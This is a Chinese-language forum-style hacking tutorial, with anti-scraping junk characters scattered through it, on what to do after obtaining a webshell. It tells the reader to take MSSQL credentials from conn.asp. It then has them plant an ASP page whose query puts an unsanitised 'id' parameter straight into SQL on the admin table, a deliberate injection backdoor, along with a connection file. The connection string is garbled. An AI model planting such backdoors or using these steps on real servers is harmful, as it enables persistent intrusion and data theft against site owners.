首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:' n% a8 M6 @9 O' y$ g, |* e
ASP/Visual Basic代码
# a6 h% Q& Q( E8 \( [' z, m. F<!--#include file="xx.asp"--> 4 }" F' O; M# { c
<%
O6 [9 v) ^/ mset rs=server.createobject("ADODB.recordset") " c( A4 @' K7 b9 i
id = request("id") 9 W ~! y+ o. F% k, _
strSQL = "select * from admin where id=" & id
4 Y. \8 Q/ H1 h& G! O% @ ?7 lrs.open strSQL,conn,1,3
7 R% N# Q$ S! t, e9 jrs.close ' o2 p( h1 S8 n
%>
% R5 _% \$ M" d; w9 O1 M7 x r0 B把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!; w) ^/ ^* I! J% [1 J: I
然后就要构造一个连接数据库的文件了,代码如下:0 ?5 d4 O7 f- K1 L5 J, E
ASP/Visual Basic代码# M7 N9 Z1 u4 M7 D4 p
<%
' d" t5 b, i a! H( h, H& zstrSQLServerName = "000.000.000.000" '服务器名称或地址
; w5 ?9 [( z) r+ `" b/ T8 qstrSQLDBUserName = "sqlname" '数据库帐号
. H+ c* X3 a! ~, ~strSQLDBPassword = "sqlpass" '数据库密码 , F) l3 N& C# A; Q1 ]( e5 p
strSQLDBName = "sqldataname" '数据库名称 1 K. }" {* Q" t
Set conn = Server.CreateObject("ADODB.Connection") 0 M) A$ J! J. E7 _5 m
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
- \# S# B8 J3 Q$ i6 F& a# b. m( v% c( S5 Yconn.open strCon
, v& R- V6 n$ b) M5 ]0 ^6 C%>
" E9 b% x- [2 D* E7 T# C这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
# h4 I- T W" |* H% h4 y; o |